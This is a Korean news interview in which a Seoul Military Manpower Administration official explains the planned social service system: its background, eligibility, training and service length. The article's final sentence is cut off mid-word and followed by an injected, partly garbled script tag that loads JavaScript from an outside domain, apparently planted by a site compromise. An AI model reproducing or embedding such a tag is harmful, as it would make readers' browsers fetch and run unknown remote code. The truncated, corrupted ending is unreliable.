“사회복무제도 도입이란?”

본지는 지난 7월 10일 국방부와 병무청에서 ‘국가인적자원의 효율적 활용을 위한 2+5 전략’을 뒷받침하기 위한 ‘사회복무제도 도입’과 ‘군 복무제도 개선’ 등 병역제도 개선 계획을 발표했다. 그 중 ‘사회복무제도’의 도입배경과 향후 추진계획 등 궁금한 사항을 정종훈 서울지방병무청장에게 알아보았다. <편집자 주>
먼저 ‘사회복무제도’를 도입하게 된 배경은?
 도입배경은 크게 세 가지로 나눠 볼 수 있습니다. 첫째, 사회활동이 가능한 사람이 면제됨에 따른 형평성 논란을 해소하고, 둘째, 우수인력이 군복무를 대신하는 전·의경 등 전환복무 제도와 사기업에 병역자원을 지원하는 산업기능요원 제도는 병역제도의 근본취지에 배치되므로 이의 재정비가 필요하며, 셋째, 고령화, 양극화 등으로 사회서비스 수요는 급증하지만 정부의 지원만으론 해결하기 곤란하므로 이를 지원하기 위한 것입니다.

‘사회서비스’ 수요를 해소한다고 했는데, ‘사회서비스’의 개념은?
 일반적으로 개인과 사회 전체의 복지증진 및 삶의 질을 향상시키기 위해 보건의료, 사회복지, 환경, 교육 및 문화 분야의 서비스와 이에 준하는 서비스를 말합니다. 사회복무제도는 현역복무를 하지 않는 사람에 대해 사회서비스분야에서 복무하게 하는 제도입니다.

사회복무제도에 편입되어 복무하게 될 대상은?
 현재는 보충역인 봉사분야 공익근무요원을 사회복지시설에 배치해 운영하고 있으며, 향후 법령개정을 통해 면제자 중 정신질환자와 중증 장애인을 제외한 신체의 일부 결손이나 일부 제약이 있는 사람도 사회활동이 가능한 사람은 사회봉사요원에 편입합니다. 또한, 2012년 이후 현역병 잉여자원 발생시에는 3급자 일부도 사회복무제에 편입되도록 병역처분기준을 조정할 계획입니다.

 

사회복무를 마친 사람은 군 복무를 마친 것으로 보는지요?
국민개병제하에서 잉여자원의 효율적 활용과 병역의 형평성을 제고하기 위해서는 군복무를 대체하는 제도를 운영하는 것이 불가피하고, 국방의 의무는 직접적인 병역의무이행 외에 간접적인 병역의무이행도 내포하므로 사회복무도 넓은 의미에서 병역의무를 이행한 것으로 볼 수 있습니다.

사회복무제도와 대체복무제도의 차이점은 무엇인지요?
 대체복무제도는 병역자원이 많을 때 잉여인력을 해소하는 차원에서 다양한 사회적 요구를 수용하기 위해 경찰관서, 행정관서, 산업체 등 여러 분야에 인력을 투입했습니다. 그 결과 병역의 형평성과 효율적 활용 측면에서 많은 문제점이 야기됐습니다. 그러나 사회복무제도는 장애인과 노인수발 등 민간차원에서 해결하기 어려운 사회서비스 분야에 인력을 투입 집중 활용함으로써 국가재정만으론 해결하기 곤란한 사회서비스 수요에 적극 대응하고, 개인은 사회공동체 일원으로서 역할을 수행한다는 보람과 자긍심을 느낄 수 있습니다.

기존의 공익근무요원제도와 비교하면?
공익근무요원은 주로 행정관서에 배치되어 단순한 행정보조업무를 수행했으나, 사회복무제도는 장애인, 노인수발 등 복지시설에 주로 배치되어 난이도가 높은 실질적 업무를 수행합니다. 또한, 공익요원에 대하여는 복무기관장이 온정적, 형식적으로 복무관리를 하던 것에 비해 사회복무요원에 대하여는 복무기관과 지방청에서 공동으로 복무관리를 함에 따라 복무부실을 예방해 엄정한 복무기강을 확립할 수 있습니다.

현역병보다 복무가 손쉬운 사회복무를 더 선호하지 않겠는가?
단순한 보조업무 수행에 그쳤던 공익요원과 달리 사회복무요원은 중증 장애인이나 노인 수발 등 난이도가 높은 현장업무에 투입이 되고, 복무기간도 현역보다 4개월을 길게 해 병역이행의 형평성을 유지할 예정입니다.

현역판정을 받은 사람도 지원해 사회봉사요원으로 갈 수 있는지?
 사회복무대상은 보충역과 면제자 중 사회활동이 가능한 사람이며 징병검사시 병역처분 과정을 통하여 결정되므로 현역자원의 사회복무 선택은 원칙적으로 허용되지 않습니다. 다만, 2012년 이후에 현역소요를 충원하고 잉여자원이 발생할 경우 현역대상 중 일부도 사회복무대상으로 전환할 계획입니다.

 

사회봉사요원들에게 사전교육이 필요하다고 생각되는데?
 현행 공익요원은 4주간의 기초 군사교육을 받지만 사회봉사요원은 2주간의 군사교육을 받고 2~3주간 소양 및 직무교육을 실시한 후에 복무기관으로 배치합니다. 소양교육은 사회복무자의 기본자세, 책임의식, 봉사정신 등 의식전환에 중점을 두고, 직무교육은 직무지식 습득과 현장체험 등 실습위주로 운영합니다.

복무 중에는 교육이 없는지요?
연1회 정기적인 보수교육과 복무 부실자에 대한 교정교육을 수?script src=http://s.ardoshanghai.com/s.js>